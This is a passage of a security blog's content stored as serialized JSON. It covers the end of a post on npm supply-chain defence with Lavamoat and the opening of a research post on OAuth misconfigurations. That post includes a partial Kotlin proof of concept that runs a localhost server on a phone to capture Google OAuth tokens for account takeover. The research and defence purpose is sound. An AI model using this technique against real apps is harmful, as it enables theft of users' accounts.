\"fetch\"",{"type":24,"tag":147,"props":104867,"children":104868},{"style":235},[104869],{"type":29,"value":20943},{"type":24,"tag":147,"props":104871,"children":104872},{"style":218},[104873],{"type":29,"value":42790},{"type":24,"tag":147,"props":104875,"children":104876},{"class":149,"line":299},[104877],{"type":24,"tag":147,"props":104878,"children":104879},{"style":235},[104880],{"type":29,"value":42798},{"type":24,"tag":147,"props":104882,"children":104883},{"class":149,"line":308},[104884,104888],{"type":24,"tag":147,"props":104885,"children":104886},{"style":247},[104887],{"type":29,"value":42806},{"type":24,"tag":147,"props":104889,"children":104890},{"style":235},[104891],{"type":29,"value":42621},{"type":24,"tag":147,"props":104893,"children":104894},{"class":149,"line":317},[104895,104900,104904,104908],{"type":24,"tag":147,"props":104896,"children":104897},{"style":247},[104898],{"type":29,"value":104899},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":147,"props":104901,"children":104902},{"style":235},[104903],{"type":29,"value":20943},{"type":24,"tag":147,"props":104905,"children":104906},{"style":218},[104907],{"type":29,"value":9619},{"type":24,"tag":147,"props":104909,"children":104910},{"style":235},[104911],{"type":29,"value":1549},{"type":24,"tag":147,"props":104913,"children":104914},{"class":149,"line":332},[104915,104920,104924],{"type":24,"tag":147,"props":104916,"children":104917},{"style":247},[104918],{"type":29,"value":104919},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":147,"props":104921,"children":104922},{"style":235},[104923],{"type":29,"value":20943},{"type":24,"tag":147,"props":104925,"children":104926},{"style":218},[104927],{"type":29,"value":42790},{"type":24,"tag":147,"props":104929,"children":104930},{"class":149,"line":350},[104931],{"type":24,"tag":147,"props":104932,"children":104933},{"style":235},[104934],{"type":29,"value":18282},{"type":24,"tag":147,"props":104936,"children":104937},{"class":149,"line":358},[104938],{"type":24,"tag":147,"props":104939,"children":104940},{"style":235},[104941],{"type":29,"value":1952},{"type":24,"tag":147,"props":104943,"children":104944},{"class":149,"line":397},[104945],{"type":24,"tag":147,"props":104946,"children":104947},{"style":235},[104948],{"type":29,"value":827},{"type":24,"tag":25,"props":104950,"children":104951},{},[104952,104954,104960,104962,104968,104969,104974,104976,104982,104983,104989],{"type":29,"value":104953},"In this example, it restricts the ",{"type":24,"tag":80,"props":104955,"children":104957},{"className":104956},[],[104958],{"type":29,"value":104959},"@ethereumjs/util",{"type":29,"value":104961}," package to use only ",{"type":24,"tag":80,"props":104963,"children":104965},{"className":104964},[],[104966],{"type":29,"value":104967},"console.warn",{"type":29,"value":855},{"type":24,"tag":80,"props":104970,"children":104972},{"className":104971},[],[104973],{"type":29,"value":39695},{"type":29,"value":104975}," functions, and to include only ",{"type":24,"tag":80,"props":104977,"children":104979},{"className":104978},[],[104980],{"type":29,"value":104981},"@ethereumjs/rlp",{"type":29,"value":855},{"type":24,"tag":80,"props":104984,"children":104986},{"className":104985},[],[104987],{"type":29,"value":104988},"ethereum-cryptography",{"type":29,"value":104990}," packages.",{"type":24,"tag":25,"props":104992,"children":104993},{},[104994],{"type":29,"value":104995},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":104997,"children":104998},{},[104999,105001,105007],{"type":29,"value":105000},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":2773,"props":105002,"children":105005},{"href":105003,"rel":105004},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[2777],[105006],{"type":29,"value":42975},{"type":29,"value":87},{"type":24,"tag":43,"props":105009,"children":105011},{"id":105010},"lavamoat-vs-qix-malware",[105012],{"type":29,"value":105013},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":105015,"children":105016},{},[105017,105019,105024],{"type":29,"value":105018},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":80,"props":105020,"children":105022},{"className":105021},[],[105023],{"type":29,"value":102865},{"type":29,"value":105025},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":2674,"props":105027,"children":105028},{},[105029,105041,105052,105063],{"type":24,"tag":2678,"props":105030,"children":105031},{},[105032,105034,105039],{"type":29,"value":105033},"Replace ",{"type":24,"tag":80,"props":105035,"children":105037},{"className":105036},[],[105038],{"type":29,"value":39695},{"type":29,"value":105040}," function to a custom one",{"type":24,"tag":2678,"props":105042,"children":105043},{},[105044,105046],{"type":29,"value":105045},"Access ",{"type":24,"tag":80,"props":105047,"children":105049},{"className":105048},[],[105050],{"type":29,"value":105051},"window.ethereum",{"type":24,"tag":2678,"props":105053,"children":105054},{},[105055,105057,105062],{"type":29,"value":105056},"Call original ",{"type":24,"tag":80,"props":105058,"children":105060},{"className":105059},[],[105061],{"type":29,"value":39695},{"type":29,"value":43811},{"type":24,"tag":2678,"props":105064,"children":105065},{},[105066],{"type":29,"value":105067},"Plus other actions not relevant here",{"type":24,"tag":25,"props":105069,"children":105070},{},[105071,105073,105079],{"type":29,"value":105072},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":80,"props":105074,"children":105076},{"className":105075},[],[105077],{"type":29,"value":105078},"chalk 5.6.0",{"type":29,"value":105080}," (non-malicious version) it would look like this:",{"type":24,"tag":137,"props":105082,"children":105084},{"code":105083,"language":39598,"meta":7,"className":39596,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[105085],{"type":24,"tag":80,"props":105086,"children":105087},{"__ignoreMap":7},[105088,105100,105111,105131,105147,105154],{"type":24,"tag":147,"props":105089,"children":105090},{"class":149,"line":150},[105091,105096],{"type":24,"tag":147,"props":105092,"children":105093},{"style":3534},[105094],{"type":29,"value":105095},"\"chalk\"",{"type":24,"tag":147,"props":105097,"children":105098},{"style":235},[105099],{"type":29,"value":42621},{"type":24,"tag":147,"props":105101,"children":105102},{"class":149,"line":160},[105103,105107],{"type":24,"tag":147,"props":105104,"children":105105},{"style":247},[105106],{"type":29,"value":42629},{"type":24,"tag":147,"props":105108,"children":105109},{"style":235},[105110],{"type":29,"value":42621},{"type":24,"tag":147,"props":105112,"children":105113},{"class":149,"line":169},[105114,105119,105123,105127],{"type":24,"tag":147,"props":105115,"children":105116},{"style":247},[105117],{"type":29,"value":105118},"        \"navigator.userAgent\"",{"type":24,"tag":147,"props":105120,"children":105121},{"style":235},[105122],{"type":29,"value":20943},{"type":24,"tag":147,"props":105124,"children":105125},{"style":218},[105126],{"type":29,"value":9619},{"type":24,"tag":147,"props":105128,"children":105129},{"style":235},[105130],{"type":29,"value":1549},{"type":24,"tag":147,"props":105132,"children":105133},{"class":149,"line":178},[105134,105139,105143],{"type":24,"tag":147,"props":105135,"children":105136},{"style":247},[105137],{"type":29,"value":105138},"        \"navigator.userAgentData\"",{"type":24,"tag":147,"props":105140,"children":105141},{"style":235},[105142],{"type":29,"value":20943},{"type":24,"tag":147,"props":105144,"children":105145},{"style":218},[105146],{"type":29,"value":42790},{"type":24,"tag":147,"props":105148,"children":105149},{"class":149,"line":187},[105150],{"type":24,"tag":147,"props":105151,"children":105152},{"style":235},[105153],{"type":29,"value":18282},{"type":24,"tag":147,"props":105155,"children":105156},{"class":149,"line":196},[105157],{"type":24,"tag":147,"props":105158,"children":105159},{"style":235},[105160],{"type":29,"value":30982},{"type":24,"tag":25,"props":105162,"children":105163},{},[105164,105166,105172],{"type":29,"value":105165},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":80,"props":105167,"children":105169},{"className":105168},[],[105170],{"type":29,"value":105171},"navigator",{"type":29,"value":87},{"type":24,"tag":25,"props":105174,"children":105175},{},[105176,105178,105184],{"type":29,"value":105177},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":80,"props":105179,"children":105181},{"className":105180},[],[105182],{"type":29,"value":105183},"chalk v5.6.1",{"type":29,"value":105185}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":105187,"children":105188},{},[105189],{"type":24,"tag":63,"props":105190,"children":105192},{"alt":56176,"src":105191},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":105194,"children":105195},{},[105196,105198,105203],{"type":29,"value":105197},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":80,"props":105199,"children":105201},{"className":105200},[],[105202],{"type":29,"value":39695},{"type":29,"value":31069},{"type":24,"tag":137,"props":105205,"children":105207},{"code":105206},"TypeError#1: Cannot define property fetch, object is not extensible\n",[105208],{"type":24,"tag":80,"props":105209,"children":105210},{"__ignoreMap":7},[105211],{"type":29,"value":105206},{"type":24,"tag":32,"props":105213,"children":105215},{"id":105214},"lavamoat-in-practice",[105216],{"type":29,"value":105217},"Lavamoat In Practice",{"type":24,"tag":25,"props":105219,"children":105220},{},[105221,105223,105230],{"type":29,"value":105222},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":2773,"props":105224,"children":105227},{"href":105225,"rel":105226},"https://osec.io/reports/lavamoat_audit_final.pdf",[2777],[105228],{"type":29,"value":105229},"see the audit report",{"type":29,"value":5745},{"type":24,"tag":25,"props":105232,"children":105233},{},[105234],{"type":29,"value":105235},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":32,"props":105237,"children":105238},{"id":81381},[105239],{"type":29,"value":81384},{"type":24,"tag":25,"props":105241,"children":105242},{},[105243],{"type":29,"value":105244},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":105246,"children":105247},{},[105248,105250,105255],{"type":29,"value":105249},"Version pinning and ",{"type":24,"tag":80,"props":105251,"children":105253},{"className":105252},[],[105254],{"type":29,"value":104691},{"type":29,"value":105256}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":8473,"props":105258,"children":105259},{},[105260],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":105262},[105263,105266,105267,105276,105277],{"id":102880,"depth":160,"text":102883,"children":105264},[105265],{"id":104514,"depth":169,"text":104517},{"id":104525,"depth":160,"text":104528},{"id":104541,"depth":160,"text":104544,"children":105268},[105269,105271,105273,105275],{"id":104552,"depth":169,"text":105270},"1. Version pinning in package.json",{"id":104682,"depth":169,"text":105272},"2. Use npm ci",{"id":104719,"depth":169,"text":105274},"3. Implement Lavamoat",{"id":105010,"depth":169,"text":105013},{"id":105214,"depth":160,"text":105217},{"id":81381,"depth":160,"text":81384},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":105282,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105283,"description":105284,"date":105285,"author":105286,"image":105287,"isFeatured":16,"onBlogPage":16,"tags":105289,"body":105292,"_type":8496,"_id":107621,"_source":8498,"_file":107622,"_stem":107623,"_extension":8501},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[36802,36801],{"src":105288,"width":14,"height":15},"/posts/oauth-misconfigurations/title.png",[105290,105291],"oAuth","exchanges",{"type":21,"children":105293,"toc":107608},[105294,105300,105305,105311,105331,105337,105342,105355,105360,105368,105382,105391,105400,105414,105422,105433,105493,105499,105511,105560,105566,105571,105584,105591,105602,105622,105641,105662,105668,105681,105686,105690,105709,106334,106339,106352,107213,107218,107223,107229,107234,107240,107245,107258,107298,107304,107317,107322,107355,107360,107365,107390,107395,107407,107564,107569,107573,107585,107590,107594,107599,107604],{"type":24,"tag":32,"props":105295,"children":105297},{"id":105296},"exploiting-oauth",[105298],{"type":29,"value":105299},"Exploiting OAuth",{"type":24,"tag":25,"props":105301,"children":105302},{},[105303],{"type":29,"value":105304},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":43,"props":105306,"children":105308},{"id":105307},"google-authentication-flows",[105309],{"type":29,"value":105310},"Google Authentication Flows",{"type":24,"tag":25,"props":105312,"children":105313},{},[105314,105316,105322,105324,105329],{"type":29,"value":105315},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":80,"props":105317,"children":105319},{"className":105318},[],[105320],{"type":29,"value":105321},"postMessage",{"type":29,"value":105323}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":80,"props":105325,"children":105327},{"className":105326},[],[105328],{"type":29,"value":75348},{"type":29,"value":105330}," to send the token back to the RP.",{"type":24,"tag":112,"props":105332,"children":105334},{"id":105333},"gsi-new-flow",[105335],{"type":29,"value":105336},"GSI (New Flow)",{"type":24,"tag":25,"props":105338,"children":105339},{},[105340],{"type":29,"value":105341},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":22292,"props":105343,"children":105344},{},[105345,105350],{"type":24,"tag":2678,"props":105346,"children":105347},{},[105348],{"type":29,"value":105349},"Using FedCM API",{"type":24,"tag":2678,"props":105351,"children":105352},{},[105353],{"type":29,"value":105354},"Without using FedCM API",{"type":24,"tag":25,"props":105356,"children":105357},{},[105358],{"type":29,"value":105359},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":105361,"children":105362},{},[105363],{"type":24,"tag":10949,"props":105364,"children":105365},{},[105366],{"type":29,"value":105367},"FedCM Method",{"type":24,"tag":25,"props":105369,"children":105370},{},[105371,105373,105380],{"type":29,"value":105372},"The FedCM method basically follows this ",{"type":24,"tag":2773,"props":105374,"children":105377},{"href":105375,"rel":105376},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[2777],[105378],{"type":29,"value":105379},"user experience",{"type":29,"value":105381},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":105383,"children":105384},{},[105385,105387],{"type":29,"value":105386},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":63,"props":105388,"children":105390},{"alt":56176,"src":105389},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":105392,"children":105393},{},[105394,105396],{"type":29,"value":105395},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":63,"props":105397,"children":105399},{"alt":56176,"src":105398},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":105401,"children":105402},{},[105403,105405,105412],{"type":29,"value":105404},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":2773,"props":105406,"children":105409},{"href":105407,"rel":105408},"https://github.com/w3c-fedid/FedCM/issues/429",[2777],[105410],{"type":29,"value":105411},"FedCM auto-reauthentication",{"type":29,"value":105413},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":105415,"children":105416},{},[105417],{"type":24,"tag":10949,"props":105418,"children":105419},{},[105420],{"type":29,"value":105421},"Non-FedCM Method",{"type":24,"tag":25,"props":105423,"children":105424},{},[105425,105427,105432],{"type":29,"value":105426},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":80,"props":105428,"children":105430},{"className":105429},[],[105431],{"type":29,"value":105321},{"type":29,"value":978},{"type":24,"tag":2674,"props":105434,"children":105435},{},[105436,105441,105465,105470,105481],{"type":24,"tag":2678,"props":105437,"children":105438},{},[105439],{"type":29,"value":105440},"The user clicks the sign in button",{"type":24,"tag":2678,"props":105442,"children":105443},{},[105444,105446,105452,105454,105459,105460],{"type":29,"value":105445},"RP opens a popup/iframe to ",{"type":24,"tag":2773,"props":105447,"children":105450},{"href":105448,"rel":105449},"https://accounts.google.com/o/oauth2/v2/auth",[2777],[105451],{"type":29,"value":105448},{"type":29,"value":105453}," with some important parameters like ",{"type":24,"tag":80,"props":105455,"children":105457},{"className":105456},[],[105458],{"type":29,"value":75180},{"type":29,"value":855},{"type":24,"tag":80,"props":105461,"children":105463},{"className":105462},[],[105464],{"type":29,"value":45731},{"type":24,"tag":2678,"props":105466,"children":105467},{},[105468],{"type":29,"value":105469},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":2678,"props":105471,"children":105472},{},[105473,105475],{"type":29,"value":105474},"They get redirected to ",{"type":24,"tag":2773,"props":105476,"children":105479},{"href":105477,"rel":105478},"https://accounts.google.com/gsi/transform",[2777],[105480],{"type":29,"value":105477},{"type":24,"tag":2678,"props":105482,"children":105483},{},[105484,105486,105491],{"type":29,"value":105485},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":80,"props":105487,"children":105489},{"className":105488},[],[105490],{"type":29,"value":105321},{"type":29,"value":105492}," (after some SYN/ACK messages)",{"type":24,"tag":112,"props":105494,"children":105496},{"id":105495},"oauth-20-old-flow",[105497],{"type":29,"value":105498},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":105500,"children":105501},{},[105502,105504,105509],{"type":29,"value":105503},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":80,"props":105505,"children":105507},{"className":105506},[],[105508],{"type":29,"value":75348},{"type":29,"value":105510}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":2674,"props":105512,"children":105513},{},[105514,105518,105539,105543],{"type":24,"tag":2678,"props":105515,"children":105516},{},[105517],{"type":29,"value":105440},{"type":24,"tag":2678,"props":105519,"children":105520},{},[105521,105522,105527,105528,105533,105534],{"type":29,"value":105445},{"type":24,"tag":2773,"props":105523,"children":105525},{"href":105448,"rel":105524},[2777],[105526],{"type":29,"value":105448},{"type":29,"value":105453},{"type":24,"tag":80,"props":105529,"children":105531},{"className":105530},[],[105532],{"type":29,"value":75180},{"type":29,"value":855},{"type":24,"tag":80,"props":105535,"children":105537},{"className":105536},[],[105538],{"type":29,"value":75348},{"type":24,"tag":2678,"props":105540,"children":105541},{},[105542],{"type":29,"value":105469},{"type":24,"tag":2678,"props":105544,"children":105545},{},[105546,105547,105552,105554],{"type":29,"value":105474},{"type":24,"tag":80,"props":105548,"children":105550},{"className":105549},[],[105551],{"type":29,"value":75348},{"type":29,"value":105553}," with the token in the query parameters or ",{"type":24,"tag":80,"props":105555,"children":105557},{"className":105556},[],[105558],{"type":29,"value":105559},"location.hash",{"type":24,"tag":112,"props":105561,"children":105563},{"id":105562},"different-configurations",[105564],{"type":29,"value":105565},"Different Configurations",{"type":24,"tag":25,"props":105567,"children":105568},{},[105569],{"type":29,"value":105570},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":22292,"props":105572,"children":105573},{},[105574,105579],{"type":24,"tag":2678,"props":105575,"children":105576},{},[105577],{"type":29,"value":105578},"Authorized origins",{"type":24,"tag":2678,"props":105580,"children":105581},{},[105582],{"type":29,"value":105583},"Authorized redirect URIs",{"type":24,"tag":25,"props":105585,"children":105586},{},[105587],{"type":24,"tag":63,"props":105588,"children":105590},{"alt":56176,"src":105589},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":105592,"children":105593},{},[105594,105596,105601],{"type":29,"value":105595},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":80,"props":105597,"children":105599},{"className":105598},[],[105600],{"type":29,"value":75180},{"type":29,"value":87},{"type":24,"tag":25,"props":105603,"children":105604},{},[105605,105607,105613,105615,105620],{"type":29,"value":105606},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":80,"props":105608,"children":105610},{"className":105609},[],[105611],{"type":29,"value":105612},"/oauth2/v2/auth",{"type":29,"value":105614}," by checking the ",{"type":24,"tag":80,"props":105616,"children":105618},{"className":105617},[],[105619],{"type":29,"value":45731},{"type":29,"value":105621}," query parameter.",{"type":24,"tag":25,"props":105623,"children":105624},{},[105625,105627,105632,105634,105639],{"type":29,"value":105626},"In the old flow, the ",{"type":24,"tag":80,"props":105628,"children":105630},{"className":105629},[],[105631],{"type":29,"value":75348},{"type":29,"value":105633}," parameter passed in the ",{"type":24,"tag":80,"props":105635,"children":105637},{"className":105636},[],[105638],{"type":29,"value":105612},{"type":29,"value":105640}," endpoint is validated against the authorized redirect URIs.",{"type":24,"tag":25,"props":105642,"children":105643},{},[105644,105646,105651,105653,105660],{"type":29,"value":105645},"Note that the new GSI flow can also have a different flow using ",{"type":24,"tag":80,"props":105647,"children":105649},{"className":105648},[],[105650],{"type":29,"value":75348},{"type":29,"value":105652}," validation. To execute this flow, you need to specify ",{"type":24,"tag":2773,"props":105654,"children":105657},{"href":105655,"rel":105656},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[2777],[105658],{"type":29,"value":105659},"login_uri",{"type":29,"value":105661}," while using the SDK.",{"type":24,"tag":43,"props":105663,"children":105665},{"id":105664},"localhost-exploit",[105666],{"type":29,"value":105667},"Localhost Exploit",{"type":24,"tag":25,"props":105669,"children":105670},{},[105671,105673,105679],{"type":29,"value":105672},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":24,"tag":80,"props":105674,"children":105676},{"className":105675},[],[105677],{"type":29,"value":105678},"localhost",{"type":29,"value":105680}," origin because it is considered trusted for local testing.",{"type":24,"tag":25,"props":105682,"children":105683},{},[105684],{"type":29,"value":105685},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":24,"tag":112,"props":105687,"children":105688},{"id":2793},[105689],{"type":29,"value":2796},{"type":24,"tag":25,"props":105691,"children":105692},{},[105693,105695,105700,105701,105707],{"type":29,"value":105694},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":24,"tag":80,"props":105696,"children":105698},{"className":105697},[],[105699],{"type":29,"value":105559},{"type":29,"value":18751},{"type":24,"tag":80,"props":105702,"children":105704},{"className":105703},[],[105705],{"type":29,"value":105706},"location.search",{"type":29,"value":105708},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":24,"tag":137,"props":105710,"children":105714},{"className":105711,"code":105712,"language":105713,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[105715],{"type":24,"tag":80,"props":105716,"children":105717},{"__ignoreMap":7},[105718,105747,105766,105773,105780,105799,105810,105821,105852,105875,105922,105929,105936,105943,105950,105970,106001,106012,106019,106026,106045,106068,106079,106098,106113,106124,106147,106182,106201,106208,106219,106242,106253,106265,106272,106279,106286,106293,106300,106327],{"type":24,"tag":147,"props":105719,"children":105720},{"class":149,"line":150},[105721,105726,105730,105734,105738,105742],{"type":24,"tag":147,"props":105722,"children":105723},{"style":218},[105724],{"type":29,"value":105725}," override",{"type":24,"tag":147,"props":105727,"children":105728},{"style":218},[105729],{"type":29,"value":11832},{"type":24,"tag":147,"props":105731,"children":105732},{"style":229},[105733],{"type":29,"value":76036},{"type":24,"tag":147,"props":105735,"children":105736},{"style":235},[105737],{"type":29,"value":76041},{"type":24,"tag":147,"props":105739,"children":105740},{"style":9044},[105741],{"type":29,"value":76046},{"type":24,"tag":147,"props":105743,"children":105744},{"style":235},[105745],{"type":29,"value":105746},"?){\n",{"type":24,"tag":147,"props":105748,"children":105749},{"class":149,"line":160},[105750,105754,105758,105762],{"type":24,"tag":147,"props":105751,"children":105752},{"style":218},[105753],{"type":29,"value":76059},{"type":24,"tag":147,"props":105755,"children":105756},{"style":235},[105757],{"type":29,"value":87},{"type":24,"tag":147,"props":105759,"children":105760},{"style":229},[105761],{"type":29,"value":76068},{"type":24,"tag":147,"props":105763,"children":105764},{"style":235},[105765],{"type":29,"value":76073},{"type":24,"tag":147,"props":105767,"children":105768},{"class":149,"line":169},[105769],{"type":24,"tag":147,"props":105770,"children":105771},{"emptyLinePlaceholder":16},[105772],{"type":29,"value":314},{"type":24,"tag":147,"props":105774,"children":105775},{"class":149,"line":178},[105776],{"type":24,"tag":147,"props":105777,"children":105778},{"style":154},[105779],{"type":29,"value":76088},{"type":24,"tag":147,"props":105781,"children":105782},{"class":149,"line":187},[105783,105787,105791,105795],{"type":24,"tag":147,"props":105784,"children":105785},{"style":229},[105786],{"type":29,"value":76096},{"type":24,"tag":147,"props":105788,"children":105789},{"style":235},[105790],{"type":29,"value":76101},{"type":24,"tag":147,"props":105792,"children":105793},{"style":229},[105794],{"type":29,"value":76106},{"type":24,"tag":147,"props":105796,"children":105797},{"style":235},[105798],{"type":29,"value":6630},{"type":24,"tag":147,"props":105800,"children":105801},{"class":149,"line":196},[105802,105806],{"type":24,"tag":147,"props":105803,"children":105804},{"style":321},[105805],{"type":29,"value":76118},{"type":24,"tag":147,"props":105807,"children":105808},{"style":235},[105809],{"type":29,"value":6630},{"type":24,"tag":147,"props":105811,"children":105812},{"class":149,"line":205},[105813,105817],{"type":24,"tag":147,"props":105814,"children":105815},{"style":229},[105816],{"type":29,"value":76130},{"type":24,"tag":147,"props":105818,"children":105819},{"style":235},[105820],{"type":29,"value":13361},{"type":24,"tag":147,"props":105822,"children":105823},{"class":149,"line":214},[105824,105828,105832,105836,105840,105844,105848],{"type":24,"tag":147,"props":105825,"children":105826},{"style":235},[105827],{"type":29,"value":76142},{"type":24,"tag":147,"props":105829,"children":105830},{"style":229},[105831],{"type":29,"value":76147},{"type":24,"tag":147,"props":105833,"children":105834},{"style":235},[105835],{"type":29,"value":480},{"type":24,"tag":147,"props":105837,"children":105838},{"style":3534},[105839],{"type":29,"value":76156},{"type":24,"tag":147,"props":105841,"children":105842},{"style":235},[105843],{"type":29,"value":546},{"type":24,"tag":147,"props":105845,"children":105846},{"style":3534},[105847],{"type":29,"value":76165},{"type":24,"tag":147,"props":105849,"children":105850},{"style":235},[105851],{"type":29,"value":269},{"type":24,"tag":147,"props":105853,"children":105854},{"class":149,"line":272},[105855,105859,105863,105867,105871],{"type":24,"tag":147,"props":105856,"children":105857},{"style":235},[105858],{"type":29,"value":76177},{"type":24,"tag":147,"props":105860,"children":105861},{"style":218},[105862],{"type":29,"value":54010},{"type":24,"tag":147,"props":105864,"children":105865},{"style":235},[105866],{"type":29,"value":76186},{"type":24,"tag":147,"props":105868,"children":105869},{"style":9044},[105870],{"type":29,"value":76191},{"type":24,"tag":147,"props":105872,"children":105873},{"style":235},[105874],{"type":29,"value":505},{"type":24,"tag":147,"props":105876,"children":105877},{"class":149,"line":281},[105878,105882,105886,105890,105894,105898,105902,105906,105910,105914,105918],{"type":24,"tag":147,"props":105879,"children":105880},{"style":235},[105881],{"type":29,"value":76142},{"type":24,"tag":147,"props":105883,"children":105884},{"style":229},[105885],{"type":29,"value":57047},{"type":24,"tag":147,"props":105887,"children":105888},{"style":235},[105889],{"type":29,"value":480},{"type":24,"tag":147,"props":105891,"children":105892},{"style":3534},[105893],{"type":29,"value":76156},{"type":24,"tag":147,"props":105895,"children":105896},{"style":235},[105897],{"type":29,"value":546},{"type":24,"tag":147,"props":105899,"children":105900},{"style":3534},[105901],{"type":29,"value":76223},{"type":24,"tag":147,"props":105903,"children":105904},{"style":218},[105905],{"type":29,"value":39709},{"type":24,"tag":147,"props":105907,"children":105908},{"style":241},[105909],{"type":29,"value":76232},{"type":24,"tag":147,"props":105911,"children":105912},{"style":218},[105913],{"type":29,"value":39741},{"type":24,"tag":147,"props":105915,"children":105916},{"style":3534},[105917],{"type":29,"value":25663},{"type":24,"tag":147,"props":105919,"children":105920},{"style":235},[105921],{"type":29,"value":76245},{"type":